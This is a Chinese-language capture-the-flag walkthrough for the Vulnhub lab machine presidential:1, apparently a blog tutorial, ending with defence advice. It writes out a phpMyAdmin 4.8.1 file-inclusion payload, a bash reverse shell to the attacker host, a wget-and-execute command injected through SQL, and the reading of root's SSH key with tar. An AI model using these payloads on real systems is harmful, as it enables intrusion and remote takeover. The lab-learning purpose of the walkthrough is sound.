Vulnhub靶场presidential:1
字数 1004 2025-08-15 21:31:46

Presidential:1 靶场渗透测试教学文档

靶场概述

  • 名称:presidential:1
  • 难度:中-难
  • 下载地址:https://www.vulnhub.com/entry/presidential-1,500/
  • 网段:192.168.250.0/24
  • 目标IP:192.168.250.132

信息收集阶段

1. 网络扫描

# 扫描网段寻找目标IP
nmap -sn 192.168.250.0/24

# 扫描目标IP的开放端口和服务
nmap -sV -p- 192.168.250.132

发现服务

  • 80端口:HTTP服务
  • 2082端口:SSH服务

2. 网站信息收集

  1. 访问网站发现静态页面,包含邮箱信息

  2. 修改本地hosts文件绑定域名:

    192.168.250.132 votenow.local
    
  3. 使用nikto扫描网站:

    nikto -h http://votenow.local
    
  4. 使用dirsearch扫描目录:

    python3 dirsearch.py -u http://votenow.local -e php
    

发现

  • config.php.bak文件(内容为空)
  • 网站源码中包含数据库账号密码

3. 子域名爆破

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

发现子域名

  • datasafe.votenow.local

漏洞利用阶段

1. 数据库访问

  1. 使用config.php.bak中的账号密码登录phpMyAdmin
  2. 发现user表中有加密的账号密码
  3. 使用John the Ripper解密:
    john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt john.txt
    
    解密结果:用户admin的密码为"Stella"

2. phpMyAdmin 4.8.1本地文件包含漏洞利用

  1. 通过SQL执行PHP代码:

    select '<? php phpinfo();exit;?>'
    
  2. 包含session文件:

    http://datasafe.votenow.local/index.php?target=db_sql.php%253f/var/lib/php/session/sess_4ribtr9diq98423tqfja79srek4ol8sj
    
  3. 创建反弹shell文件:

    echo 'bash -i >& /dev/tcp/192.168.250.129/1100 0>&1' > shell.sh
    
  4. 通过SQL执行命令下载并执行shell:

    select '<? php system("wget 192.168.250.129/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'
    
  5. 本地监听:

    nc -lvv 1100
    

3. 获取稳定shell

python -c 'import pty; pty.spawn("/bin/bash")'

4. 权限提升

  1. 切换到admin用户:

    su admin
    # 密码:Stella
    
  2. 检查sudo权限失败

  3. 发现根目录notes.txt提示使用压缩命令

  4. 使用tar命令获取root的SSH密钥:

    tarS -cvf key.tar /root/.ssh/id_rsa
    tar -xvf key.tar
    cd root/.ssh
    ssh -i id_rsa root@localhost -p 2082
    

关键知识点总结

  1. 信息收集

    • 使用nmap进行网络扫描
    • 子域名爆破技术
    • 目录扫描工具(nikto, dirsearch)的使用
  2. 漏洞利用

    • phpMyAdmin 4.8.1本地文件包含漏洞
    • 通过SQL注入执行系统命令
    • 反弹shell技术
  3. 权限提升

    • 利用tar命令的特性读取敏感文件
    • 通过SSH密钥进行权限提升
  4. 密码破解

    • John the Ripper工具的使用
    • 选择合适的字典文件(rockyou.txt)
  5. 稳定shell获取

    • Python pty模块的使用
    • 解决shell输入双写问题

防御建议

  1. 及时更新phpMyAdmin到最新版本
  2. 避免在源码中存储敏感信息
  3. 限制数据库用户的权限
  4. 对系统命令的使用进行严格限制
  5. 定期检查系统文件权限设置
  6. 使用强密码策略
  7. 限制子域名的访问权限
Presidential:1 靶场渗透测试教学文档 靶场概述 名称:presidential:1 难度:中-难 下载地址:https://www.vulnhub.com/entry/presidential-1,500/ 网段:192.168.250.0/24 目标IP:192.168.250.132 信息收集阶段 1. 网络扫描 发现服务 : 80端口:HTTP服务 2082端口:SSH服务 2. 网站信息收集 访问网站发现静态页面,包含邮箱信息 修改本地hosts文件绑定域名: 使用nikto扫描网站: 使用dirsearch扫描目录: 发现 : config.php.bak文件(内容为空) 网站源码中包含数据库账号密码 3. 子域名爆破 发现子域名 : datasafe.votenow.local 漏洞利用阶段 1. 数据库访问 使用config.php.bak中的账号密码登录phpMyAdmin 发现user表中有加密的账号密码 使用John the Ripper解密: 解密结果 :用户admin的密码为"Stella" 2. phpMyAdmin 4.8.1本地文件包含漏洞利用 通过SQL执行PHP代码: 包含session文件: 创建反弹shell文件: 通过SQL执行命令下载并执行shell: 本地监听: 3. 获取稳定shell 4. 权限提升 切换到admin用户: 检查sudo权限失败 发现根目录notes.txt提示使用压缩命令 使用tar命令获取root的SSH密钥: 关键知识点总结 信息收集 : 使用nmap进行网络扫描 子域名爆破技术 目录扫描工具(nikto, dirsearch)的使用 漏洞利用 : phpMyAdmin 4.8.1本地文件包含漏洞 通过SQL注入执行系统命令 反弹shell技术 权限提升 : 利用tar命令的特性读取敏感文件 通过SSH密钥进行权限提升 密码破解 : John the Ripper工具的使用 选择合适的字典文件(rockyou.txt) 稳定shell获取 : Python pty模块的使用 解决shell输入双写问题 防御建议 及时更新phpMyAdmin到最新版本 避免在源码中存储敏感信息 限制数据库用户的权限 对系统命令的使用进行严格限制 定期检查系统文件权限设置 使用强密码策略 限制子域名的访问权限